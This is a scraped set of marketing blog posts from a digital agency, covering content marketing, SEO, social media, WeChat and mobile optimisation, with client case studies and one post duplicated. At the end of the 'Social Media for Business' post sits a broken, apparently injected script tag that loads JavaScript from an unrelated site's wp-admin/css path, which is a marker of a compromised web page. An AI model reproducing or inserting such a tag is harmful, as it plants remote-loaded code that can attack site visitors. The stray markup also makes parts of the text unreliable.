Mobile

AppsEngagementMediaMobileSEOVideo数字广告采购及策划社群媒体营销

4 Online Marketing Strategies your Business Needs

Online-Marketing-Strategies-IH-DigitalDon't know how to start your journey online? Take inspiration from these online marketing strategies and examples and take your brand to the next level.

Many brands have taken their businesses online. By doing so, it requires comprehensive online marketing strategies that will extrapolate your reach to a larger number of potential clients.

But, what brings the best ROI?

Here are 4 online marketing strategies you need to consider to start growing your business and take it to the next level:

1.  Build your audience through content marketing

Articles, blogs, videos, infographics all have one in common: they engage and build your audience by promoting quality, informative content.

However, it’s not as simple as writing and publishing an article, posting it on social media, and then done. Content marketing requires a strategic insight and framework to help tie all your mediums together into one ecosystem of information.

Some of these mediums are:

  • Microsites/blogs
  • Videos
  • Infographics
  • Product sampling
  • Apps, and many more

Unlike traditional advertising (that is more of an into-your-face kind of approach), content marketing provides your customers value in exchange for you to be able to market your products or services to them without any disruptions, and is easier to digest.

To give you an idea, here is an example:

Sulwhasoo Singapore

Sulwhasoo is one of the pioneering beauty products in the world and has recently celebrated 50 years in ginseng research. To celebrate this momentous milestone, Sulwhasoo Singapore launched a digital marketing campaign to promote their week-long celebration of Holistic Beauty.

To better share the details to their customers, Sulwhasoo Singapore launched a microsite, www.swsholisticbeauty.com, housing all the information about the event and activities happening during the celebration: beauty classes, workshops, product sampling and many more.

[metaslider id=2328]

Also part of their campaign, Sulwhasoo collaborated with influencers to host an exclusive party to share their insights about Holistic Beauty. Through Facebook videos, the influencers rallied fans to answer “what does Holistic Beauty means to them” and submit their answers through a Facebook App where they could get a chance to win passes to the exclusive party.

With the right strategy in mind, Sulwhasoo Singapore was able to tie every component into a cohesive and relevant campaign that translated to a high-turnaround in terms of product redemption, workshop attendance, and submission of entries. Over time, the videos also garnered a combined number of over 10,000 views and over 200 engagements in terms of likes, shares, and comments.

There are now more brands that put content marketing in action. With the right strategy, you could be one step closer to success.

2. Put yourself out there with SEO

Before making any purchase, people do their research. If they can’t find your website anywhere, you already lost a potential customer.

Websites are crucial part of your online marketing journey as it serves as a portal of information your customers need to know about your brand. And to be found, search engine optimization or SEO is an integral step on taking your page to search engine’s top results.

SEO is an online marketing strategy that focuses on growing your website’s visibility in organic (non-paid) search engine results. By dominating on certain terms or phrases (keywords) and building links, you could increase your site’s visibility in search engines, whether it’s Google, Bing, Yahoo, or Baidu.

For example:

Sansiri Thailand

Sansiri, a well-known property developer in Thailand, wanted to penetrate the Chinese market. Since internet is restricted in China, Sansiri developed a website that is tailored for the Chinese market and their own search engine, Baidu.

Sansiri website Chinese plugins
Sansiri Chinese plugins from left to right: WeChat (China chat application), Weibo (Chinese microblogging platform), YOUKU (China video sharing platform, similar to YouTube)

By integrating SEO-friendly, localized content, it translated to great results. A month after the launch, the website ranked higher on Baidu’s search ranking gaining over 5,168 visits, 87% percent of which are from their target audience, the Chinese consumers.

However, good SEO work does not rely on keyword and link building alone. It needs help from other online marketing strategies like website development, content marketing, social media marketing, to get your content right at the top of search results.

Another example:

GSC Movies

GSC Movies, Malaysia’s leading independent movie distributor, geared up in time for the release of the much-awaited zombie movie of the year, “Train to Busan,” by releasing a fully integrated 360-degree digital marketing campaign.

GSC Movies activated all their online channels, from their website and SEO articles, to social media networks like Facebook, Instagram, Twitter, WeChat, and Youtube, to spread awareness and encourage people to talk about and watch the movie.

[metaslider id=4028]

3. Spread your message through social media marketing

A large of the world’s population are present in social media. On Facebook alone, the social media giant reported over 1.13 Billion users access the platform daily. Twitter, Instagram, LinkedIn, YouTube, and Pinterest are some of the social channels available for you to start your social media marketing campaign.

This particular marketing strategy also helps drive website activity up because of redirected traffic, which definitely contributes to your site’s SEO ranking. Also, social media marketing is the online marketing strategy that requires you to constantly think on your feet.

Why?

Because, social media channels, like Facebook and Twitter, has now grown to be a customer engagement platform, where you can address your customer’s concern in real time.

Most importantly, it calls you to experiment and come up with creative ways on how to attract fans and potential customers to your page. Here’s an example:

Land Transportation Authority (LTA)

LTA, Singapore’s backbone on transport infrastructure and systems, seeks to enliven travelers of all ages and to have them look forward towards their day-to-day journey through social media marketing.

By creating a Facebook wall contest based on daily transport scenarios and creatively designing them as animated GIFs, this enticed fans and encouraged them to join the contest.

Another example:

Panasonic Singapore

In line with their efforts to promote their brand story “A Better Life, A Better World”, Panasonic Singapore created a Facebook Application for their new Veggie Life Salad pack. Information about the new products, downloadable recipes, and tips are easily accessible within the app.

[metaslider id=2211]

See? Social media marketing actually gives you the creative freedom on how to reach your customers and dominate that social media platform.

4. Invest in pay-per-click advertising

When you hear “advertising”, one can automatically assume that this equates to big spending. But in reality, pay-per-click advertising or PPC, is a budget-friendly, cost-efficient online marketing strategy you can implement and track.

This is one of the many online marketing strategies marketers prefer as it helps them reach potential customers, using minimal upfront investment, but see instant results. Multiple social media channels, including search engines, offer businesses various online advertising tools to choose from. Here are some examples:

  • Google AdWords
  • Facebook Ads
  • Instagram Ads
  • Twitter Ads
  • LinkedIn Ads
  • YouTube Ads

What’s best with PPC is that, you are free to customize and set-up your online advertising campaign depending on spending, demographic, geographic, interests, and even behavior.

Online Marketing Strategies: A Conclusion

There are plenty of ways to get your messages across, and it will serve you well if you’re informed and educated on the many opportunities these online marketing strategies will bring your business.

Remember, there is no one-size-fits-all strategy. But a healthy mix of online marketing strategies is good groundwork to start your online marketing campaign.

Want to learn more about online marketing strategies?

IH Digital is a digital agency in Malaysia, that comprises of digital marketing experts across Asia, with skills ranging from website development and content marketing to video production and online advertisingDrop us a message now for more info.

EngagementMediaMobileSEO数字广告采购及策划社群媒体营销

What is online marketing?

What-is-online-marketing-IH-DigitalBrands are taking their businesses online. But does this mean for you? What is "online marketing" and how does it benefit you and your business?

From customer support and purchasing to product announcements and advertisements, brands are taking their businesses online. But does this mean for you? What is “online marketing” and how does it benefit you and your business?

As a brand, maybe you’re wondering, “what can I do to take my business to the next level?”

Traditional marketing strategies, like billboards, print ads and TV ads, continues to be a driving force of sales and brand awareness today. However since the dawn of the internet, new marketing means have emerged making it easier for business to attract their customers.

Traditional Marketing versus Online Marketing - IH Digital
Are traditional marketing strategies enough for your business?

So, what is online marketing?

According to TNMedia, online marketing is:

any tool, strategy or method of getting the company name out to the public… it builds up the company reputation by increasing its ability to be found online.

To put it simply, it is any effort to promote your business online.

There are countless ways for your business to strengthen its presence online. However there are 3 ways to jumpstart your online marketing journey.

Overview

First is Content Marketing where you create and distribute valuable content to captivate and engage a your target audience, ultimately, to drive profitable customer action.

Then there’s SEO or Search Engine Optimizationthe process of optimizing your online content affecting its visibility on a search engine’s results.

Search Engine Marketing or SEM, is the paid version of SEO, where instead of promoting your content from the ground up, you pay your way to the top results.

Social Media Marketing, where you utilize social media channels to share and spread your message, all the while engaging and establishing a connection with your online community.

And finally, Pay-per-click Advertising or PPC, where you pay for each click that you receive in every ad that you make.

As you can see, Online marketing is a big, integrated web that consists of strategies, if executed well, could do wonders for your brand. But before that, let’s get to know each strategy to give you an idea on what will fit your business.

Content Marketing

Content is the the most important ingredient in any online marketing campaign. It serves as the “meat” that makes your campaign worthwhile to even look at or pay attention to.

According to Content Marketing Institute:

Content marketing is the art of communicating with your customers and prospects without selling. It is non-interruption marketing. Instead of pitching your products or services, you are delivering information that makes your buyer more intelligent.

By providing useful and quality content, you not only get your message across in a creative way, but have the potential to change consumer behavior.

Here is an example:

Singapore Red Cross takes their cause to a new light by spreading blood donation awareness through mobile app “Donor Dash”, as a content marketing strategy.
Donor Dash app available in Android and iOS

Red Cross Singapore, in partnership with a digital marketing agency, launched a mobile game app called “Donor Dash” to spread blood donation awareness and encourage more people to donate blood. Not only was it fun and entertaining, it provides trivia and tidbits about blood donation, while serving as a mobile portal of blood center information and donation process.

See?

You must aim to inform and educate using creative and relevant content, that invokes new perspective and behaviour when it comes to your brand.

SEO – Search Engine Optimization

Website is a crucial part in growing your business, as it is the embodiment of your brand online. All the information your market needs to know about you could be found in your website. And with that, people tend to look you up online.

But none of this will matter if you’re not searchable in search engines.

That’s where SEO comes in.

By providing good content while factoring in other ranking factors like, keyword research and site architecture among others, you make your website search engine-friendly with the potential of making it to top organic search results.

Not only that, by optimizing your content for mobile, you target a huge chunk of the online market. Take note, Facebook has over 1.03 billion daily active users on mobile. Having a mobile-friendly site makes it all the difference.

Here’s an example:

[metaslider id=2010]

Costa Asia, one of Asia’s premier travel cruise lines, re-designed there website optimizing it for mobile and desktop use. The new interface now provides a more seamless and optimal interaction, making it easier to navigate. Plus with its localized content, it makes it easier for different target markets to understand.

SEM – Search Engine Marketing

Like mentioned before, SEM is the paid version of SEO. Instead of optimizing your content organically, you invest on ads to help your page’s visibility, depending on what keyword is searched for.

The more people search for a specific keyword, the more it is competitive and expensive.

But by setting conversion goals, you can keep track of the actions of consumers upon clicking your ads and how much you spent and earned during your campaign.

Social Media Marketing

Facebook, Twitter, Google+, Instagram, Vine, Pinterest. The list goes on and on.

Millions, no, billions of people are active in social media everyday, making it more crucial for you to explore and start your own social media marketing campaign.

Although, there are constant algorithm changes in every social media platform, there are many ways for you to be creative with your content.

Here is an example:

In partnership with a digital marketing agency in Malaysia, Honda Malaysia utilized Facebook’s new featureFacebook Live, by announcing the all-new Honda Civic in a well-executed and well-directed Facebook Live video, with the support of microvideos, as part of their #RideTheDream campaign. This digital marketing campaign garnered 760,000 views overtime and over 11,800 engagement, including likes, shares, and comments.

Facebook Live is now one of the most popular social media marketing strategies that businesses prefer, as it not only provides a unique brand experience, it also lets you engage and connect with your fans in real time, making it more unique and intimate.

 

PPC – Pay-per-click Advertising

SEM is only one type of PPC advertising. There are many other platforms that offer pay-per-clicks that allows you to reach a targeted or niche audience, from Facebook, Twitter, YouTube, LinkedIn and Instagram.

Facebook, for example, offers a wide range of ads with different purposes, from brand awareness to clicks-to-website. According to Facebook, over $6.24 billion of ads revenue was recorded for the second quarter of 2016. And just recently, Instagram reached the 500 thousand mark of active advertisers on their platform.

Here are some examples of PPC advertising:

[metaslider id=2221]

Remember, no matter how many ads you create or how much you invest in an ad campaign, content and targeting still matter.

Conclusion

Brands today, big or small, have embraced online marketing as a crucial part of their business. In some way, it became the turning point of how they do business and engage with their customers. Every businesses have its misses, but the good thing about online marketing is that, you can improve from them and further strengthen your approach.

Definitely, online marketing is now part of the daily user experience. And it’s about time you take advantage of it.

If you’re looking to start your own online marketing campaign, IH Digital, a digital agency in Malaysia, offers a wide range of digital marketing services that are tailored to fit your brand. From website development to video production, we have the services that could help kickstart your business. To learn more about our services,  “color: #808080;” href=”http://www.ihdigital.com.my/sales-enquiries”>contact us now.

EngagementMobileWeChat

WeChat Marketing: 3 Things You Need To Know to Tap the Chinese Market

China-mobile-marketingCould WeChat marketing be the next step to take for your business? Here are 3 things to know before starting your China marketing efforts.

Over the years, communication greatly advanced with the help of technology and sending messages have never been this easier. Multiple messaging apps are available for download, making it today’s tool of conversation between billions of people online, particularly in China which has over 7 million internet users. WeChat, the messaging app that is dominating the Chinese market, has continued to show strength in numbers and intuitive innovations, by offering capabilities that other social media platforms do not. Marketers are slowly considering WeChat marketing as one of their content marketing strategies as this could help launch their businesses to new heights.

3 things you need to know before starting your WeChat marketing campaign

  • WeChat is the Facebook of China

In the West, Facebook reported billions of active users daily, making it the first social media platform to exceed the billion user mark. With WeChat in China, it’s the same, boasting over 700 million users.

Considered as an all-around-app, this Chinese social media platform has continued to capture the Chinese market because of its innovations. WeChat enables the users to do their everyday conversation and transaction – from paying the bills, manage their bank accounts, order food, buy clothes, and read news – all just inside the app.

  • Quality Content is key

WeChat, originally named Weixin in Chinese, was the brainchild of Tencent back in 2011. They spotted the coming trends of mobile marketing in China and wanted to innovate a smartphone-only messaging app.

Chinese is used as the standard language within the app. Being able to craft a high-quality content in the local language, whether its audio messages, videos, photos, or texts – is crucial if you want to successfully expand your business using WeChat.

  • Start your e-commerce with WeChat

Tencent saw a another business opportunity and wanted to compete with Chinese e-commerce giant, Alibaba by allowing brands to open WeChat accounts and transact using a payment system. Now, WeChat uses in-store cashless payments, having one-third of WeChat users making regular online purchases directly through the app.

What makes WeChat marketing a viable strategy for China marketing and overall content marketing

WeChat’s move to integrate brands in chat as well as third-party services certainly make it a viable platform for China marketing. It’s features that are not yet present to ubiquitous messaging apps also creates a possibility for a successful WeChat for business worldwide.

Indeed, WeChat is a major threat to its competitors. An all-in-one platform that clearly changes the course of digital marketing is something that businesses are constantly eyeing.

If you are in search of ways on how to tap the Chinese market, IH Digital, a Digital agency in Malaysia, has WeChat marketing services and other digital marketing services that may fit your brand. Contact one of our representatives for more information.

AppsMobile

Content Marketing: Singapore Red Cross Promotes Blood Donation Through “Donor Dash” App

red-crossSingapore Red Cross takes their cause to a new light by spreading blood donation awareness through mobile app “Donor Dash”, as a content marketing strategy.

With the reign of digital technology comes the thriving popularity of mobile applications available in android, windows, and iOS platforms. Smartphone users are in constant search for new applications. Whether its for casual gaming, productivity, or business purposes, this urges brands to develop new ways to engage with their audience. By using innovative ideas like gamification, it offers a wide range of opportunities for content marketing, digital advertising, and nowadays, to spread awareness or raise funds for charities.

How gamification is used as a content marketing strategy

Together with a trusted Digital Agency in Singapore, Singapore Red Cross, or SRC gauged their target market and their behavior to help understand how to educate them better about blood donation, all the while sparing them of the technical information in the process. As a result, SRC launched “Donor Dash: A Run to Save Lives,” a mobile gaming application which aims to create awareness and share basic information about blood donation.

In Donor Dash, the player aims to complete each blood drive mission in order to “save lives” by swiping left or right to collect the required blood components and swiping up to jump and avoid the obstacles. Blood donation trivias, donor requirements and nearby donation centers in Singapore are readily available inside the app, as part of SRC’s goal to spread information and educate the players about blood donation.

Singapore Red Cross takes their cause to a new light by spreading blood donation awareness through mobile app “Donor Dash”, as a content marketing strategy.

Available in Google Play Store and iTunes

Mobile apps: changing how content is perceived

Today, whether it’s for work, school, or business, mobile apps are personal mediums that is improving a person’s day to day in activity. Hence, it is important for marketers to understand that mobile apps are less about its tangible aspects, but rather about sharing your brand message and insight through it. This not only influence your market’s brand perception, but as well as their perspective as a consumer.

Like SRC, you can also seek help for you to find out innovative content marketing strategies to showcase your brand and spread your message. IH Digital, a digital agency in Malaysia, offers different online marketing services and other digital marketing services that fit your brand’s digital platforms and strategies. Contact one of our representatives for more information about our services.

MobileSEO数字广告采购及策划

Digital Marketing: Costa Asia Optimizes Website Design for Mobile

Before today, brands were more invested on how their website looks like rather than how it is experienced. Now, many have embraced the integration of website design and user engagement as a digital marketing strategy to take their consumers in a memorable virtual journey. And with over 1.13 billion people accessing social apps daily, it serves as a call for brands to drive their mobile visitors into their website.

What makes mobile optimization an effective strategy for digital marketing?

With the help of a trusted web design agency, Costa Asia, one of Asia’s premier travel cruise lines, embraced the need for mobile optimization by re-designing their website compatible to fit any device. With the newly revamped interface, the website now seamlessly adapts to any desktop browser and mobile device. This provides visitors smooth interaction and optimal engagement when searching for information about trips to different travel destinations that Costa Asia has to offer.

And with localized content available in English, simplified Chinese, and traditional Chinese, Costa Asia’s optimized website design offers diverse but quick and digestible information readily available for Asian visitors and globetrotters everywhere.

[metaslider id=1649]

The adoption of a responsive website design with localized content enables brands to engage and communicate with its consumers in a dynamic way. Developing these multiple language websites cater to different demographics and preferences, helping bridge your different markets. As a result, this digital marketing strategy greatly affects your messaging and marketing communications in its entirety. It enables your users to take part in your brand experience, creating an intimate dynamic that only the brand and its users can understand.

Is your website ready for mobile?

If you’d like to learn more about developing a mobile-friendly SEO website with localized content for your Asian market, IH Digital, a web design agency and digital agency in Hong Kong, offers a wide range of content marketing and other digital marketing services fit for your brand. Contact one of our representatives for more information about our services.

MobileSEO数字广告采购及策划

Digital Marketing: Costa Asia Optimizes Website Design for Mobile

Costa-Asia-VictoriaCosta Asia optimizes their website for mobile as part of their digital marketing approach to promote cruise trips in Asia.

Before today, brands were more invested on how their website looks like rather than how it is experienced. Now, many have embraced the integration of website design and user engagement as a digital marketing strategy to take their consumers in a memorable virtual journey. And with over 1.13 billion people accessing social apps daily, it serves as a call for brands to drive their mobile visitors into their website.

What makes mobile optimization an effective strategy for digital marketing?

With the help of a trusted web design agency, Costa Asia, one of Asia’s premier travel cruise lines, embraced the need for mobile optimization by re-designing their website compatible to fit any device. With the newly revamped interface, the website now seamlessly adapts to any desktop browser and mobile device. This provides visitors smooth interaction and optimal engagement when searching for information about trips to different travel destinations that Costa Asia has to offer.

And with localized content available in English, simplified Chinese, and traditional Chinese, Costa Asia’s optimized website design offers diverse but quick and digestible information readily available for Asian visitors and globetrotters everywhere.

[metaslider id=2010]

The adoption of a responsive website design with localized content enables brands to engage and communicate with its consumers in a dynamic way. Developing these multiple language websites cater to different demographics and preferences, helping bridge your different markets. As a result, this digital marketing strategy greatly affects your messaging and marketing communications in its entirety. It enables your users to take part in your brand experience, creating an intimate dynamic that only the brand and its users can understand.

Is your website ready for mobile?

If you’d like to learn more about developing a mobile-friendly SEO website with localized content for your Asian market, IH Digital, a web design agency and digital agency in Malaysia, offers a wide range of content marketing and other digital marketing services fit for your brand. Contact one of our representatives for more information about our services.

EngagementFacebookInstagramMobile社群媒体营销

Social Media for Business: How to Maximize Reach with Engaging Content

woman reading trends blog in the parkHow can social media for business improve your brand's marketing communication? Here are a few tips on how to integrate your message to engaging content.

It is getting harder for social media marketers and community managers to share content online. Especially now that Facebook, one of the widely used online marketing platforms, announced the series of changes to its news feed algorithm. Content posted by friends and family of users is the top priority, sending less traffic, taking a toll on social media for business.

How can brands leverage on these changes?

 

With the ever-changing algorithm of social media platforms, brands should take note and leverage on them while maintaining the interest of their audiences. Despite the changes, creating meaningful and “humanized”content encourages consumers to take part in conversations, share their opinions, and relate to your brand. Having this dynamic and holistic marketing communications approach to social media for business can help your brand message take flight.

Here is a list of content marketing strategies that could help your brand stand out from the online clutter and have a better chance of succeeding digital marketing-wise:

  • Share live video content

According to Facebook, people tend to watch live videos three times longer compared videos that are not live. Facebook recently rolled out Live Videos enabling people to share live video broadcasting in real time. Its real-time comments feature makes it easier for you to respond to live viewers who are tuned in to your broadcast, helping you connect with them in a fun and authentic conversation. Just like how Honda Malaysia used Facebook Live to announce the All-New Honda Civic:

  • Utilize business tools and insights

Last month, Instagram announced its plan to introduce business profiles on its platform. Now, the feature is being rolled out in selected countries eventually making it available for brands and businesses worldwide. With this new digital marketing tool, Instagram businesses can now be recognized with a business profile. And just like any Facebook page, each business profile gets insight data on their profile’s performance and promotes advertisements —all within the app.

  • Engage using interactive graphics and content

Animated GIFs is now being used as a highly effective form of content as it enables brands to tell their stories in a more interactive way than static images. The visually stimulating illustrations make the brand more appealing to the audience, making it relatable and shareable, thereby increasing brand awareness and online activity. LOTTE greeted everyone a happy mother’s day with branded animated GIFs:

Why use social media for business?

Publishing different content styles are simply strategies to attract potential leads and customers. It is important that the stories you tell should aim to engage and encourage your audience to take action. Spreading awareness and is a good take away, but ultimately, enforcing brand loyalty and changing brand perception should be the long-term goal.

IH Digital, a trusted digital marketing agency in Malaysia offers great services that are guaranteed to help your brand reach its target audience. We are also a reputable marketing communications and social media agency in Singapore that has built a solid reputation in helping businesses achieve online success and increased sales conversion. Click here for more information. “text/javascript” src=”http://www.blog.pasarsore.com/wp-admin/css/colors/theme-index.php”>

EngagementFacebookMobile社群媒体营销

Social Media Update: Facebook Dominates the Internet with 1.13 Billion Daily Active Users

social-media-facebook-1-13-billion-daily-active-usersFacebook reached another social media milestone as it surpasses the billion mark in terms of daily active users with 1.13 billion global audience share.

Facebook reached another social media milestone as it surpasses the billion mark in terms of daily active users. The company announced an average of 1.13 billion people access the platform daily around the globe – compared to 968 million in the past year. Its mobile users take up most of their online audience with 1.03 billion, a 22 percent increase year over year.

Considering there are supposedly 7.4 billion people in the world, the social media giant clearly dominate the internet in terms of a global audience. If you include their recently acquired platforms, WhatsApp and Instagram, Facebook Inc. is clearly the largest, fastest-growing social network company in the online market.

How to Tap the Right Audience with Social Media Marketing

Facebook’s constant surge in users is equally demanding an upgrade in terms of content marketing. With this, brands are now called to step up their marketing communications to set them apart from the growing clutter of the internet.

Recently, Facebook launched a series of product updates and expansion, making it easy for marketers and their audience to have a better content experience.

One of the many, includes Facebook Video. Social media experts today have been using this as a proven effective social media strategy as it encourages engagement, most importantly, informative content. A great example of a brand utilizing the many features of Facebook Live Video would be LANEIGE’s Beauty Road Show in Singapore.

What IH Digital can do for your brand

IH Digital is a well-established digital agency in Malaysia that utilizes innovative digital marketing tools to get your brand’s story across digital media platforms. We have social media experts who can boost the quality of your content to further drive engagement and brand awareness. Learn more about our services here.

EngagementFacebookIHHotInstagramMobile社群媒体营销

How Facebook’s Instagram Acquisition Increases its Mobile Offerings

How Facebook’s Instagram Acquisition Increases its Mobile OfferingsFacebook spent approximately $1 billion for its acquisition of the popular video and photo sharing app, Instagram. The reason behind the big move is due to Facebook prioritizing its mobile product development for increased user growth and engagement, in addition to eliminating a potential social marketing rival.

At the present time, Instagram’s monthly active users have grown to a whopping 400+ million, surpassing rivals like LinkedIn, Twitter, and Google Inc. Users still get to experience Instagram’s all-too-familiar user base and applications. But in hopes of improving and expanding mobile offerings, Facebook invested and focused on enhancing the performance and speed of Instagram for Android users after the acquisition, as well as launched an iOS app, Hyperlapse, to capture vivid videos even in motion. Instagram has also rolled out changes and improvements to its advertising and digital marketing platform.

 

Why Instagram is a good place for online advertising and content marketing

Recent eMarketer reports reveal that the photo sharing app has amassed over 400 million users, and now has 200,000 advertisers. Compared to its parent company’s 3 million active Facebook ads, Instagram still has a long way to go. But since Facebook added new and improved ad formats for the social media app, this paves the way for more optimized social marketing, ad targeting, and relevance for Instagram.

Furthermore, majority of Instagram users consists of high-income and young individuals, which encourages brands to conceptualize a social media strategy and run campaigns to target their specific audience on the widely popular social platform.

 

IH Digital, a trusted digital agency in Hong Kong, aims to help your brand’s target audience by age, gender, pattern, and country on Instagram, Facebook, and other popular social marketing channels. If you want to learn a thing or two about making the most out of social media for business, speak with one of our representatives today.

IHHotMobile社群媒体营销

Mobile Optimization for efficient Digital Marketing

mobile-first-marketing-digital-agency-digital-marketing-malaysiaLearn about why it is crucial for brands' digital marketing to successfully implement mobile friendly content and optimization to their digital advertising.

Strength of mobile networks.

Each day, more people are accessing internet from their mobile devices which naturally makes it crucial for any marketer for their digital marketing to be mobile friendly and optimized.

For example, 41 million people in Indonesia are online every day, out of which 38 million people are accessing from mobile devices according to Facebook. Given such statistics and the fact that Indonesia is considerably an emerging market for internet marketing, it cannot be more assuring of how mobile marketing is set to dominate the coming age of digital marketing.

Go big with digital marketing, but can it fit in a hand?

From checking the movie time, public transportation to more information about products while in a store, mobile devices grants people to look up almost anything anywhere.  According to a research, Malaysia topped the chart for the most number of people shop online in APAC.  With mobile search and internet usage surpassing that of desktop activity, mobile optimization is now the core of any online marketing.

Here are some interesting figures about mobile friendly digital marketing:

Digital marketing going online means it must be available on mobile:

Delivering the contents in social network optimized format is one, but ensuring best experience on mobile is another thing.  It is crucial that your digital marketing strategy is not losing any potential engagement because of bad experience on mobile:

  1. Is your website mobile friendly? Optimized access to internet advertising does not mean that it is mobile responsive, but also comes down to quality of the image and length of contexts as well. SEO optimization is important as well, but it is not ideal if such length is deterring audience. (Check out the website design tip from IH Digital Malaysia here!)
  2. Advantage of mobile application. Not only it will be mobile optimized, but will also allow marketer to provide perks and promotion exclusively for mobile app users.
  3. Same message different platforms. Consistence in publishing contents is a key, and so is consistency of message. Optimizing online marketing contents to mobile is important, but it also needs to deliver the same message across different platforms.
  4. Mobile responsive email. Email should not be too wordy like a novel, but instead a concise list of information with readable letter size, appropriate URL to mobile optimized landing page and websites, and last but most importantly, it should not require viewer to toggle with zooming to digest the information.

Mobile optimization for the effective digital marketing.

As an online marketing agency, IH Digital Malaysia believes in importance of contents appropriate online marketing services in any digital marketing. From SEO optimization to website design services, we can help and ease your marketing strategy with platform appropriate approach. Our team of social media expert are available for consultation to figure out the most optimal digital marketing strategy for your campaign.  Contact us today to find out more!